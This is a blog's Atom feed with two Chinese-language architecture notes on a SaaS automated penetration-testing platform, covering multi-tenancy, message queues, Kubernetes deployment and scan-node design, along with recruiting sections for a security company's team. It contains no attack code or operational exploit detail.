<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://b1ngz.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://b1ngz.github.io/" rel="alternate" type="text/html" /><updated>2024-09-01T07:40:24+00:00</updated><id>https://b1ngz.github.io/feed.xml</id><title type="html">b1ngz</title><subtitle>A blog about technology and life</subtitle><entry><title type="html">SaaS多租户自动化渗透平台 - 架构笔记</title><link href="https://b1ngz.github.io/saas-multiple-tenant-automatic-penetration-testing-platform-architecture-note/" rel="alternate" type="text/html" title="SaaS多租户自动化渗透平台 - 架构笔记" /><published>2024-08-28T00:00:00+00:00</published><updated>2024-08-28T00:00:00+00:00</updated><id>https://b1ngz.github.io/saas-multiple-tenant-automatic-penetration-testing-platform-architecture-note</id><content type="html" xml:base="https://b1ngz.github.io/saas-multiple-tenant-automatic-penetration-testing-platform-architecture-note/"><![CDATA[<h2 id="0x01-简介"><strong>0x01. 简介</strong></h2>

<p>在 2022 年初，我写了一篇 “<a href="https://mp.weixin.qq.com/s?__biz=MzkwNDE5NzUyMA==&amp;mid=2247483673&amp;idx=1&amp;sn=88b42a078e291a2f9b3ef8de515731cf&amp;scene=21#wechat_redirect">云化分布式自动化渗透测试平台 - 架构笔记</a>” ，介绍了我与团队师傅在 SaaS 自动化渗透平台架构设计方面的一些想法和初步实践，距今已过去两年多的时间。在这段时间里，遇到了很多新的问题和挑战，同时也有很多新的想法。在 23 年底，经过内部讨论，并结合业务发展情况，我们对整个平台进行了一次完全的重构，这篇笔记介绍了重构背后的一些思考、新架构的设计思路，以及架构的整体情况</p>

<p>PS：<strong>🔥</strong> 公司正在广纳人才，详见 “0x06. 招聘” 或 复制访问下方链接在线查看职位详情和投递简历</p>

<p><strong>https://app.mokahr.com/su/5wsls</strong></p>

<p><br /></p>

<hr />

<p>原文链接 <a href="https://mp.weixin.qq.com/s/FNr3TsiZU371F_44WelZbw">SaaS多租户自动化渗透平台-架构笔记</a></p>

<p>欢迎关注</p>

<p><img src="/assets/images/mp-weixin/qrcode.png" alt="mp-weixin" width="300" /></p>

<h2 id="0x02-问题和挑战">0x02. 问题和挑战</h2>

<p>在平台建设过程中，会不断产生新的需求，和更复杂的业务场景需要满足，但平台架构很难在短时间内进行频繁改动。因此对于大多数情况，只能进行“修修补补”的操作，经过两年多的日积月累，历史架构设计和技术选型的问题逐步暴露，无法很好地满足业务发展的需求。</p>

<p>关于平台架构设计和技术选型部分的问题，可总结为：</p>

<ul>
  <li><strong>扫描节点无法独立部署：</strong>对于一个子任务的运行，可概括为三步 1. 从数据库查询所需参数，2. 执行具体逻辑，3. 保存结果入库。这里既有业务代码（1、3 两步，Python 编写），又包含引擎逻辑（第 2 步 GRPC 调用 Golang）。业务代码部分是一个大的后端项目，即节点的运行需要同时将后端和引擎服务运行起来，二者较为耦合，使得节点服务无法独立部署</li>
  <li><strong>扫描节点无法外置部署：</strong>因所有服务是在一个 VPC 内进行通信，节点执行任务需要访问 DB、队列等服务，但考虑到安全性、稳定性等原因，无法直接将服务暴露在公网，使得在目标存在网络访问限制（如只允许某个地区 IP 访问）、多云多地域出口 IP 等需求等场景下无法很好的支持。此外，外部环境可能是非受信环境，节点运行包含部分 Python 代码和配置，存在泄露风险</li>
  <li><strong>网络连接稳定性强依赖：</strong>起初选择了 RabbitMQ 作为消息队列，为了确保消息能成功的发送和执行，启用了双向 Ack，当 Client 与 Server 间的通信因为伸缩、维护、网络不稳定等不可避免原因出现中断时，RabbitMQ 会认为消费者异常（实际还在运行），从而将消息交由其他消费者处理，导致业务层和消息队列的状态不一致，出现一次任务多个运行实例的情况。此外，RabbitMQ 无法直接查看正在被执行的消息内容（unack 状态），无法自定义控制失败重试过程等限制，使得问题的排查、处理复杂和困难</li>
  <li><strong>后端框架不透明不灵活：</strong>此前我们选择了 Django REST Framework 作为后端业务层框架，借助成熟的生态和丰富的接口方法，实现了高效开发。但同时也存在一些问题，例如 Django ORM 提供的很多方法，内部都有一定程度的封装，会使得用户较难直观地知道背后的执行逻辑。在多人协作时，会给复杂需求代码实现 Review、问题定位排查和性能优化带来一定困难。此外，部分复杂的查询（如无 foreign key 表 join、自定义的 join 条件）在 Django ORM 下较难实现，灵活性上不足。而 Django/DRF 和 Django ORM 的强关联，使得集成和同时使用其他 DB 层框架等实现能力扩展的需求变得困难</li>
</ul>

<p>另一方面，平台在设计之初的定位是支撑内部渗透项目和攻防演练。而随着业务和平台的发展，内部也在考虑商业化的可行性，从而给平台带了新的需求和挑战</p>

<ul>
  <li><strong>控制研发成本：</strong>因现有平台与内部系统有一定耦合，以及存在前述的设计和选型问题，无法直接进行改造后作为商业版。而开发和维护两套不同的平台，在现有人力下无法支撑。因此，需要考虑如何尽可能减少重复工作，降低开发和维护成本</li>
  <li><strong>数据安全保障：</strong>平台是 SaaS 化形态，数据存储在云端，客户对数据的安全性非常敏感，因此需要从设计上考虑安全隔离的方案，特别是不同客户间的数据隔离</li>
  <li><strong>合法合规保障：</strong>如果扫描流量走平台出口，会涉及到授权和法律风险。因此扫描节点需要由客户来提供，即需要能够支持扫描节点的私有化部署</li>
</ul>

<h2 id="0x03-解决思路">0x03. 解决思路</h2>

<p>对于上述问题和挑战，解决思路如下</p>

<ul>
  <li><strong>解耦扫描节点服务：</strong>将引擎和后端代码完全剥离，让扫描节点成为一个独立服务，即后端将子任务运行所需的所有参数发送给扫描节点，扫描节点仅负责执行，完成后将结果发送回后端服务，进行异步的处理和入库</li>
  <li><strong>打破VPC网络边界：</strong>对不适合直接暴露在公网上的服务（如消息队列）进行二次封装，使⽤如 HTTPS 等⽅式与 VPC 外部扫描节点进⾏通信，解决网络边界和安全性问题</li>
  <li><strong>替换消息队列实现：</strong>基于 Redis Stream 开发新的消息队列服务，解决网络连接稳定性强依赖问题。并实现更加灵活的消息发送、任务运行观测、失败重试控制等能力</li>
  <li><strong>替换后端开发框架：</strong>使用 Flask-RESTful + SQLAlchemy 代替 DRF 和 Django ORM，并参考 DRF View、Serialize、FIlter 的设计，对 Flask-RESTful 进行封装，使得二者在写法上类似，更易上手</li>
  <li><strong>一套代码两个环境：</strong>为了减少维护成本，这里采用只维护一套新平台代码的方案。但因内外部的功能和限制上有一些区别，这里通过角色权限和代码逻辑处理等方式来进行兼容。另外考虑到安全性，内外部是两套独立的环境，互不相通</li>
  <li><strong>多租户设计和改造：</strong>为了实现数据安全隔离，以及避免为每个客户搭建一套独立的环境导致维护成本过高，这里采用了存储层和扫描节点独立，其他服务共享的方案。即每个租户拥有独立的数据库、消息队列空间等，实现逻辑或实例级别的隔离。而对于后端 API、任务调度等服务，进行多租户的底层库封装（业务代码无感），支持根据用户或任务所属租户动态选择 DB，以及动态租户配置加载等能力</li>
  <li><strong>多种节点运行模式：</strong>对于商业版，主要以客户在自己的 ECS 实例上运行扫描节点的方式为主。在内部版，以 K8S 动态创建 Pod 的方式来实现更灵活高效的节点管理。此外，理论上只要部署环境能够运行 docker 容器，并且机器配置和网络带宽能满足需求，均可部署和运行扫描节点</li>
  <li><strong>构建安全中台服务：</strong>因需要同时支撑内外部的使用需求，为了避免重复开发和实现无感的能力升级，这里将需要的公共安全能力抽取出来，统一到 SaaS 安全中台进行维护</li>
  <li><strong>开发运营运维平台：</strong>因多租户的设计，客户环境较多，为了能够高效方便的管理客户信息、环境配置，以及问题排查和定位，需要有一个上层的独立管理平台来进行支撑</li>
</ul>

<h2 id="0x04-平台架构">0x04. 平台架构</h2>

<p>新平台架构示意图如下</p>

<p><img src="/assets/images/platform-architecture-3/architecture.png" alt="图片" /></p>

<p>如上图所示，平台由四大部分组成</p>

<ol>
  <li><strong>SaaS 自动化渗透平台：</strong>图中蓝色部分，多租户架构设计，由业务层、存储层、基础服务、监控层等十余个服务组成，也是用户与平台交互的主要入口</li>
  <li><strong>外部扫描节点：</strong>图中右下角黄色部分，部署在不同云、环境下的扫描节点，通过 HTTPS + 双向证书校验进行通信和身份认证</li>
  <li><strong>SaaS 安全中台：</strong>图中最上方绿色部分，通过 HTTPS 接口为内外部自动化渗透平台提供安全原子能力支撑</li>
  <li><strong>外部云基础设施：</strong>图中左下方橙色部分，通过云厂商 API 管理外部云资源，提供机器管理、代理服务、端口转发等功能</li>
</ol>

<p>这里对平台中关键服务和新增模块的功能进行进一步的介绍</p>

<ul>
  <li><strong>扫描节点连接器：</strong>负责与扫描节点进行通信，包括任务获取、结果回传、状态回传、任务中止检查、节点更新等，同时对消息队列、存储服务等内部服务进行封装和屏蔽</li>
  <li><strong>消息队列：</strong>基于 Redis Stream 封装的消息队列服务，包括提供与队列通信的 API Server 和负责处理消息重回队列等后台任务的 Watcher 服务</li>
  <li><strong>扫描任务调度：</strong>根据配置的策略，对扫描任务进行调度，避免出现某个租户下的任务把所有资源占满等、实现动态调整租户任务并发能力等</li>
  <li><strong>结果处理：</strong>异步处理消息队列中的扫描任务执行结果，包括成功结果入库、任务状态 cache、ack 消息、失败消息重试等</li>
  <li><strong>队列监控：</strong>定时检查队列中消息是否存在异常，如是否有堆积、消息是否长时间未完成、消费者离线消息重回队列等</li>
  <li><strong>运营运维管理：</strong>独立平台，负责客户环境管理、用户管理、角色权限配置、配置管理、扫描节点监控、消息队列监控、更新部署、规则包管理和下发等</li>
</ul>

<p>对于扫描子任务的运行过程，如下图所示</p>

<p><img src="/assets/images/platform-architecture-3/sub-task-execution-flow.png" alt="图片" /></p>

<p>图中包括 8 个步骤</p>

<ol>
  <li><strong>扫描任务</strong>通常包含多个步骤，每个步骤会将任务拆分成更小的单元，即子任务，发送到消息队列，进行并发执行</li>
  <li><strong>扫描节点</strong>定时请求节点连接器，获取要执行的子任务</li>
  <li><strong>节点连接器</strong>内部会根据节点所属的租户，查询对应的队列是否有消息，然后返回</li>
  <li><strong>扫描节点</strong>收到任务后，根据参数执行对应的操作</li>
  <li><strong>扫描节点</strong>执行完成后，会将执行情况回传给节点连接器，包括任务执行状态，任务结果等</li>
  <li><strong>节点连接器</strong>收到任务回传数据后，会进行
    <ol>
      <li>缓解队列消息状态，用于队列监控服务检查消息状态</li>
      <li>将结果存入消息队列，等待异步处理</li>
    </ol>
  </li>
  <li><strong>结果处理</strong>服务定时从消息队列中获取要处理的任务数据</li>
  <li><strong>结果处理</strong>服务首先会统一更新业务层任务状态，然后根据不同的任务状态进行不同的操作
    <ol>
      <li>任务成功：结果入库、ACK 队列消息</li>
      <li>任务失败：请求队列接口对消息进行 Delay 重试</li>
      <li>任务中止：ACK 队列消息</li>
    </ol>
  </li>
</ol>

<h2 id="0x05-总结">0x05. 总结</h2>

<p>本文介绍了为满足商业化需求，同时解决历史架构设计和技术选型问题的背景下，我和团队师傅在 SaaS 自动化渗透平台架构设计的又一次探索和实践，重点解决了扫描节点私有化部署、多租户服务改造、多租户数据隔离等问题。目前新平台已基本成型，并投入使用，我们计划在后续推动旧版向新平台迁移，完成内外部版本的统一</p>

<p>另外后续会不定期地分享关于 SaaS 自动化渗透平台建设和安全研发的一些实践经验和想法，感兴趣的朋友可以微信扫码、或搜索 “b1ngz的笔记本”，关注一波！</p>

<h2 id="0x06-招聘">0x06. 招聘</h2>

<p><strong>🔥</strong> 目前公司正在广纳人才，包括研发、安服、产品、销售、售前等多种类型数十个岗位，复制访问下方链接可看到在招职位详情和在线简历投递</p>

<p><strong>https://app.mokahr.com/su/5wsls</strong></p>

<p>🔥 <strong>另外团队目前急招后端研发</strong>，工作地点北京，团队介绍和 JD 如下，感兴趣的师傅可通过以下方式咨询和投递简历，同时也欢迎技术交流</p>

<ul>
  <li>邮箱投递：binlin.yan@chaitin.com</li>
  <li>微信投递：xiaobing1024</li>
</ul>

<p><strong>团队介绍：</strong>我们是长亭科技-产品研发中心-协同创新团队，团队直线汇报给公司创始人</p>

<p><strong>团队职责：</strong>深入协同安服，将一线安全攻防经验，转换为自动化平台和工具，通过实战反馈，不断打磨优化，赋能公司业务，构筑公司核心竞争力。同时我们也在积极探索商业化，并取得不错的进展</p>

<p><strong>团队项目：</strong></p>

<ul>
  <li><strong>SaaS 自动化渗透平台：</strong>为安服渗透项目、攻防演练提供工具和平台支持，包括内部版、商业版</li>
  <li><strong>攻防知识库：</strong>支撑公司各产品线的统一知识管理、运营、共享平台，包括漏洞、指纹、POC、利用等</li>
  <li>
    <p><strong>SaaS 安全实训平台</strong>：集学习、训练、考试一体化综合人才培养解决方案，包括内部版、商业版</p>
  </li>
  <li><strong>比赛平台：</strong>为客户提供 CTF、AWD、安全运营等多赛制的一站式竞赛解决方案和平台支撑</li>
</ul>

<p><strong>🔥 后端研发 JD：</strong></p>

<p>注：可同时参与上述多个项目的后端开发</p>

<ol>
  <li>具有扎实的计算机基础、网络基础和编程基础</li>
  <li>掌握如 Python、Golang 等任意一门开发语言和相关 Web 框架，追求良好的代码风格和质量</li>
  <li>掌握如 PostgreSQL、Redis、Elasticsearch、MongoDB 等任意一种数据库的使用</li>
  <li>熟悉 Linux 环境操作，掌握 Git、Docker 等工具的使用</li>
  <li>具备较强的逻辑思维分析能力，对解决具有挑战性问题充满激情</li>
  <li>具有良好的沟通和团队协作能力、热爱技术、责任心强</li>
</ol>

<h2 id="0x07-参考">0x07. 参考</h2>

<table>
  <thead>
    <tr>
      <th>1</th>
      <th><a href="https://mp.weixin.qq.com/s?__biz=MzkwNDE5NzUyMA==&amp;mid=2247483673&amp;idx=1&amp;sn=88b42a078e291a2f9b3ef8de515731cf&amp;scene=21#wechat_redirect">云化分布式自动化渗透测试平台 - 架构笔记</a></th>
      <th><a href="https://mp.weixin.qq.com/s?__biz=MzkwNDE5NzUyMA==&amp;mid=2247483673&amp;idx=1&amp;sn=88b42a078e291a2f9b3ef8de515731cf&amp;scene=21#wechat_redirect">https://mp.weixin.qq.com/s/HmPLUNDbasuzGHS4K1IG5Q</a></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2</td>
      <td><a href="https://mp.weixin.qq.com/s?__biz=MzkwNDE5NzUyMA==&amp;mid=2247483657&amp;idx=1&amp;sn=890bfd44726b334ccaecc5195086aab4&amp;scene=21#wechat_redirect">自动化安全工具平台 - 架构笔记</a></td>
      <td><a href="https://mp.weixin.qq.com/s?__biz=MzkwNDE5NzUyMA==&amp;mid=2247483657&amp;idx=1&amp;sn=890bfd44726b334ccaecc5195086aab4&amp;scene=21#wechat_redirect">https://mp.weixin.qq.com/s/OMhS9yFlcpI9KOQduSxq9g</a></td>
    </tr>
    <tr>
      <td>3</td>
      <td>RabbitMQ Consumer Acknowledgements and Publisher Confirms</td>
      <td>https://www.rabbitmq.com/docs/confirms</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Flask-RESTful</td>
      <td>https://flask-restful.readthedocs.io/en/latest/</td>
    </tr>
    <tr>
      <td>5</td>
      <td>Django ORM vs SQLAlchemy</td>
      <td>https://ebs-integrator.com/en/blog/django-orm-vs-sql-alchemy</td>
    </tr>
    <tr>
      <td>6</td>
      <td>Example of what SQLAlchemy can do, and Django ORM cannot</td>
      <td>https://stackoverflow.com/a/18207001</td>
    </tr>
    <tr>
      <td>7</td>
      <td>SQLAlchemy - The Database Toolkit for Python</td>
      <td>https://www.sqlalchemy.org/</td>
    </tr>
    <tr>
      <td>8</td>
      <td>What is multi-tenancy (multi-tenant architecture)?</td>
      <td>https://www.techtarget.com/whatis/definition/multi-tenancy</td>
    </tr>
    <tr>
      <td>9</td>
      <td>Redis Stream</td>
      <td>https://redis.io/docs/latest/develop/data-types/streams/</td>
    </tr>
    <tr>
      <td>10</td>
      <td>Low-latency message queue &amp; broker software</td>
      <td>https://redis.io/solutions/messaging/</td>
    </tr>
    <tr>
      <td>11</td>
      <td>Two-way SSL Authentication for REST</td>
      <td>https://docs.solace.com/Security/Two-Way-SSL-Authentication.htm</td>
    </tr>
  </tbody>
</table>]]></content><author><name>b1ngz</name></author><summary type="html"><![CDATA[0x01. 简介]]></summary></entry><entry><title type="html">云化分布式自动化渗透测试平台 - 架构笔记</title><link href="https://b1ngz.github.io/saas-automatic-penetration-testing-platform-architecture-note/" rel="alternate" type="text/html" title="云化分布式自动化渗透测试平台 - 架构笔记" /><published>2022-01-05T00:00:00+00:00</published><updated>2022-01-05T00:00:00+00:00</updated><id>https://b1ngz.github.io/saas-automatic-penetration-testing-platform-architecture-note</id><content type="html" xml:base="https://b1ngz.github.io/saas-automatic-penetration-testing-platform-architecture-note/"><![CDATA[<h2 id="0x01-简介"><strong>0x01. 简介</strong></h2>

<p>在 2020 年 12 月，我写了公众号的第一篇文章 — “<a href="http://mp.weixin.qq.com/s?__biz=MzkwNDE5NzUyMA==&amp;mid=2247483657&amp;idx=1&amp;sn=890bfd44726b334ccaecc5195086aab4&amp;chksm=c08be5f6f7fc6ce069a2c2288f20d61537c5901686b95499dc1605de51afd3a0e6fd54ef2c6b&amp;scene=21#wechat_redirect">自动化安全工具平台 - 架构笔记</a>”，文章介绍了前几年我在写个人自动化安全工具平台的过程中，关于架构方面的一些尝试和总结。也因这篇文章，在 2021 年 5 月，我有幸加入了长亭，负责红队自动化渗透测试平台项目。这篇笔记是近半年多来，我和团队师父们在平台架构方面的一些思考、尝试和总结，主要内容包括：</p>

<ul>
  <li>如何理解云化分布式自动化渗透测试平台？</li>
  <li>平台架构介绍</li>
  <li>未来的一些想法和计划</li>
  <li>岗位招聘</li>
  <li>内容总结</li>
</ul>

<p><br /></p>

<hr />

<p>原文链接 <a href="https://mp.weixin.qq.com/s/HmPLUNDbasuzGHS4K1IG5Q">云化分布式自动化渗透测试平台 - 架构笔记</a></p>

<p>欢迎关注</p>

<p><img src="/assets/images/mp-weixin/qrcode.png" alt="mp-weixin" width="300" /></p>

<h2 id="0x02-平台介绍">0x02. 平台介绍</h2>

<p>关于平台，这里结合文章标题中包含的关键词来进行介绍。</p>

<p><strong>关键词一：渗透测试平台</strong></p>

<p>渗透测试平台相比于之前个人开发使用的安全工具平台，它主要的不同点在于：</p>

<ul>
  <li>渗透测试平台定位于为实际的安服项目、攻防演练提供支撑，需覆盖的场景更多，而后者主要满足个人平时的安全测试和挖洞</li>
  <li>用户量更多，且为一线安全人员，平台功能更加丰富和贴近实战。随之复杂度也会增加，对平台的架构设计要求更高</li>
  <li>有专人对接用户需求、协调试用和收集反馈，有更加充足的研发资源，实现更快的优化迭代速度，而后者需要个人拥有“全栈”技能</li>
</ul>

<p><strong>关键词二：分布式</strong></p>

<p>为了具备良好的扩展性，平台采用了分布式架构，利用消息队列解耦任务的发送和执行，通过增加消费者的数量，实现更高的扫描速度和并发支持。</p>

<p><strong>关键词三：自动化</strong></p>

<p>主要指渗透过程自动化，即如何减少渗透过程中的重复劳动，提高效率，让安全人员更专注于挖洞本身。广义上说，也包含研发、运维自动化，后续会在平台架构部分进行介绍。</p>

<p><strong>关键词四：云化</strong></p>

<p>即平台所有服务全部运行在云上。在上一篇架构笔记中，为了追求高可用，我曾自己搭建过 RabbitMQ 和 Postgresql 集群，机器成本相对于直接使用云厂商服务确实更低，但如服务升级、扩容、稳定性都需要自己来操作和保障，后期的运维成本更高。而全面上云后，大部分运维工作只需在页面上进行操作即可。通过借助云厂商更专业的服务，能够在提供高可用保障的同时，大幅减少运维成本。</p>

<h2 id="0x03-平台架构">0x03. 平台架构</h2>

<p>目前平台架构如下图：</p>

<p><img src="/assets/images/platform-architecture-2/architecture.png" alt="图片" /></p>

<p>平台同样采用前后端分离，开发语言和框架为：</p>

<ul>
  <li>前端：Vue + Element UI，语言方面为了代码更易维护，采用强类型的 TypeScript。</li>
  <li>后端：包含业务层和安全引擎两部分。业务侧追求开发速度，使用 Python 3.8 + Django REST framework。引擎侧关注效率使用 Golang，之间通过 gRPC 进行调用</li>
</ul>

<p>平台使用到的服务和组件信息如下：</p>

<table>
  <thead>
    <tr>
      <th><strong>序号</strong></th>
      <th><strong>服务</strong></th>
      <th><strong>说明</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Gitlab</td>
      <td>代码托管，CI/CD 自动化构建</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Image Registry</td>
      <td>Docker 镜像仓库</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Postgresql</td>
      <td>关系型数据库，存储平台数据</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Redis</td>
      <td>缓存服务</td>
    </tr>
    <tr>
      <td>5</td>
      <td>ELK Stack</td>
      <td>存储/查询 Http 请求响应数据、业务日志</td>
    </tr>
    <tr>
      <td>6</td>
      <td>Object Storage</td>
      <td>存储用户上传、导出数据、页面截图等</td>
    </tr>
    <tr>
      <td>7</td>
      <td>Sentry</td>
      <td>代码错误监控和追踪</td>
    </tr>
    <tr>
      <td>8</td>
      <td>Frontend</td>
      <td>Nginx 反向代理、静态资源访问</td>
    </tr>
    <tr>
      <td>9</td>
      <td>Backend</td>
      <td>后端 API Server，使用 DRF 框架</td>
    </tr>
    <tr>
      <td>10</td>
      <td>Prometheus</td>
      <td>指标统计监控、告警</td>
    </tr>
    <tr>
      <td>11</td>
      <td>RabbitMQ</td>
      <td>分布式消息代理</td>
    </tr>
    <tr>
      <td>12</td>
      <td>Dramatiq</td>
      <td>Python 异步任务框架</td>
    </tr>
    <tr>
      <td>13</td>
      <td>Kubernates</td>
      <td>容器化部署管理</td>
    </tr>
  </tbody>
</table>

<p>从列表信息看，核心组件与个人版基本相同，此外还增加了多个新服务来完善平台的各项能力，如自动化构建、错误追踪、监控告警等。</p>

<p>从架构图右侧，可以明显看到前一章节提到的 “云化” 特点。对于基础服务，如 Postgresql、Redis、ELK、对象存储等，都直接使用了云厂商提供的高可用集群版本，来保障平台的稳定性。</p>

<p>另一个改进点是，平台使用了 kubernates 来进行服务的容器化部署和管理，相比于个人版基于 docker、docker-compose 的方案，k8s 的功能更加强大。简单理解，你只需要通过 YAML 定义来声明需要的资源，如服务实例数量、机器资源、环境变量、启动命令等配置，k8s 会负责服务的启动、健康检查、故障迁移等剩余的工作。在 k8s 中，Pod 是最基础的运行单元，此外还提供了多种内置的应用类型（workload）来满足常用的业务场景，以下为平台中的一些应用例子：</p>

<ul>
  <li>业务服务（python）依赖引擎服务（golang），二者需要同时运行。类似 docker-compose，在 k8s 的 Pod 内可以运行两个 container，容器实例之间通过 localhost 进行相互访问</li>
  <li>对于如前端和后端 API server 服务，服务的实例之间没有本质区别，使用 Deployments 来部署</li>
  <li>对于如 RabbitMQ Cluster 服务，节点区分 master 和 slave，使用 StatefulSets 来运行</li>
</ul>

<p>在平台开发的过程中，也遇到过某些复杂功能，如实现为某个任务分配独享计算资源，需要能够自行控制节点（Pod）的创建过程，但内置的应用类型（workload）无法满足需求。此时，可通过 k8s 强大的扩展能力 Custom Resources 和 Operator pattern，来定义自己的资源类型，编写 controller 来进行管理。此外，k8s 还有如使用 Persistent Volumes 实现多个服务挂载和访问同一个存储磁盘、通过 kubectl scale 命令实现资源快速伸缩等功能，能极大的提升平台部署效率和扩展能力。</p>

<p>下一个不同点是，个人版在后端开发时主要使用 Python 语言，利用协程 gevent、asyncio 来缓解 GIL 带来的并发性能问题。而在新平台，我们对后端功能进行了拆分，使用 Golang 来进行安全引擎的开发，而业务层仍使用 Python，这样做的考虑主要有：</p>

<ul>
  <li>Python 为解释型语言，动态类型开发速度快、灵活，但易出错。Golang 为编译型语言，静态类型让代码更易维护</li>
  <li>Golang 拥有 goroutine 和 context，对并发的支持和控制更好，运行速度和效率要比 Python 更高</li>
  <li>公司已有安全能力开发语言为 Golang，能进行复用和相互输出</li>
</ul>

<p>对于异步任务框架 Dramatiq，之前在个人版中遇到了一些问题：</p>

<ul>
  <li>一个节点会运行多个 Dramatiq worker processes，即有多个任务同时在执行和打印日志，想要从日志文件中查看某个特定任务的日志会非常困难。此时可以通过 CurrentMessage middleware 获取到当前任务的 message_id，然后结合自定义的 logging Formatter ，在打印的日志添加 message_id 前缀，这样能方便的通过 grep 等命令找到特定任务的所有日志</li>
  <li>Dramatiq worker 在 gevent 启动模式下，无法通过 raise exception 来中止执行，因此依赖此的 middleware 如 TimeLimit, Abort 等都无法使用。不过这个问题在 21 年 9 月，有一位大佬提了 PR 解决了这个问题，感兴趣的可以看看 https://github.com/Flared/dramatiq-abort/issues/11</li>
</ul>

<p>聊完开发语言 和 Dramatiq，接下来再介绍一下其他研发流程相关的改进。在个人版的容器镜像主要依靠手工构建，在新平台则基于 Gitlab CI/CD，能够在每次代码变更和合并时自动进行构建打包，并推送至容器镜像仓库。为了方便功能测试和验证，平台拥有两套配置相同的环境 stg 和 prod，功能需在测试环境上验证通过后才会部署到线上环境。</p>

<p>此外，在功能上线后，不可避免的会遇到 bug，那么如何知道服务出现了问题？这里需要考虑两种场景：</p>

<ul>
  <li>代码直接出现报错，如未正确处理异常等。此时可以通过图中的错误监控和追踪服务 Sentry，将错误调用栈等相关信息上报至平台，并发送通知给研发人员进行处理</li>
  <li>服务质量，如某功能依赖第三方接口，网络错误、服务不稳定都会导致运行失败。如果每次都打印错误日志，会导致 Sentry 告警太多，无法查看。对于这类问题，有一个共性，即少量的失败是可接受的，只有超过特定比例才会被认为是问题。因此我们需要收集一些指标数据，来监控服务的状态。这部分由图中打点和统计服务 — Prometheus 来完成</li>
</ul>

<p>关于平台架构部分，在探索过程中还遇到过其他很多问题，因篇幅关系，此次就先介绍到这里。</p>

<h2 id="0x04-想法和计划">0x04. 想法和计划</h2>

<p>要想设计出一个好的平台架构，需要不断的尝试和改进，以及大量的时间去打磨优化细节。经过半年多的努力，虽然平台当前架构已经基本成型，但仍然还有很多的不足和优化之处，例如：</p>

<ul>
  <li>数据库需增加只读实例，以缓解主库压力</li>
  <li>所有服务共用一个数据库集群，部分非核心服务请求量较大，需要剥离成独立库</li>
  <li>部分服务的监控缺失或阈值的不合理，需要进一步梳理和调整</li>
  <li>部分业务日志没有持久化存储，缺少统一查询入口，复杂问题排查较困难</li>
  <li>随着任务量和存储数据逐步增加，如何更合理的规划未来服务所需资源</li>
  <li>…</li>
</ul>

<p>对于一个自动化渗透测试平台，良好的架构设计是基础，安全能力则是核心竞争力。在过去的半年多，平台的功能基本保持在每周更新上线，目前已经完成近两个大版本的开发，并投入使用。对于安全能力，在 2022 年，也将持续投入更多的精力进一步优化和提升效果。</p>

<p>不论是提升安全能力还是架构优化，都需要更多的人力投入。因此，下一章节是团队岗位招聘环节，感兴趣的师父可以看看</p>

<h2 id="0x05-岗位招聘">0x05. 岗位招聘</h2>

<p><strong>团队介绍</strong></p>

<p>我们是长亭安全服务中心的协同创新团队，团队职责为将一线安全攻防经验，以平台和工具等形式赋能公司各业务，并通过安服业务的实践，快速获取反馈，不断改进和提升安全能力，构筑公司核心竞争力。</p>

<p>团队成员包含专业的产品经理、前后端研发、安全开发、攻防专家、运维。技术氛围好，不卷，老板重视。</p>

<p>目前团队负责项目包括但不限于：</p>

<ul>
  <li>自动化渗透测试平台：为一线安服师父打造的持续完善的自动化挖洞”神器“，为安服项目、攻防演练提供支撑</li>
  <li>攻防知识库平台：集前沿漏洞信息收集、分析、检测、防御的一体化知识库平台，赋能公司全产品线</li>
  <li>安全实训平台：全方位、一体化的网络安全人才培训平台，在实战中提升企业安全人员的安全素质和技术能力</li>
  <li>…</li>
</ul>

<p><strong>关于岗位</strong></p>

<p>目前招聘的岗位包括：<strong>安全研发、后端研发、红队攻防</strong></p>

<hr />

<p>如果你偏好安全，并具备一定的研发能力，可选择 <strong>安全研发</strong> 岗位，工作地点：<strong>北京</strong></p>

<p>加入我们，你可以：</p>

<ul>
  <li>参与扫描引擎的开发和优化，包括但不限于服务探测、爬虫、漏洞检测</li>
  <li>跟进行业新爆发安全漏洞，分析原理，并编写检测 POC</li>
  <li>学到一线安服和攻击队师父们的渗透思路和经验，并转换为自动化工具</li>
  <li>…</li>
</ul>

<p>同时，我们希望你：</p>

<ul>
  <li>具有扎实的网络基础，掌握任意一门开发语言，具备一定的编程经验</li>
  <li>熟悉常见安全漏洞原理和检测，了解攻防场景</li>
  <li>参与过如扫描、爬虫、检测等相关安全产品的研发</li>
  <li>具有良好的沟通和团队协作能力，热爱技术、责任心强</li>
</ul>

<hr />

<p>如果你偏好研发，可选择 <strong>后端研发</strong> 岗位，工作地点：<strong>北京</strong></p>

<p>加入我们，你可以：</p>

<ul>
  <li>参与分布式、高并发扫描平台的架构设计和优化，学习全栈技术</li>
  <li>负责模块功能的设计、开发和测试，为公司数百位安全人员提供工具和平台支撑</li>
  <li>解决全面上云和容器化后所带来的技术挑战，保障平台服务高效稳定运行</li>
  <li>…</li>
</ul>

<p>同时，我们希望你：</p>

<ul>
  <li>具有扎实的编程基础和网络基础</li>
  <li>熟练掌握 python、golang 等任意一门开发语言，追求良好的代码风格</li>
  <li>具备较强的逻辑思维分析能力和解决问题能力，对解决具有挑战性问题充满激情</li>
  <li>具有良好的沟通和团队协作能力、热爱技术、责任心强</li>
</ul>

<hr />

<p>如果你偏好攻防实战，可以选择 <strong>红队攻防</strong> 岗位，工作地点：<strong>北京/上海/深圳/广州/成都</strong></p>

<p>加入我们，你可以：</p>

<ul>
  <li>与全国顶尖攻击队师傅一起参与护网/攻防等高端攻击项目，相互学习进步</li>
  <li>探索研究前沿的攻防技术，并在实战中进行实践验证</li>
  <li>参与攻击队自动化平台的能力建设，探索和打造顶尖攻击团队</li>
  <li>…</li>
</ul>

<p>同时，我们希望你：</p>

<ul>
  <li>具有丰富的实战经验，有大型目标渗透/攻防经验更佳</li>
  <li>在外网打点/内网横向/域渗透/远控免杀/社工钓鱼/隐蔽持久化/代码审计等一个或多个领域有深入的理解，掌握相关的攻防技术</li>
  <li>对安全有浓厚的兴趣和较强的独立钻研能力，有良好的团队精神</li>
</ul>

<hr />

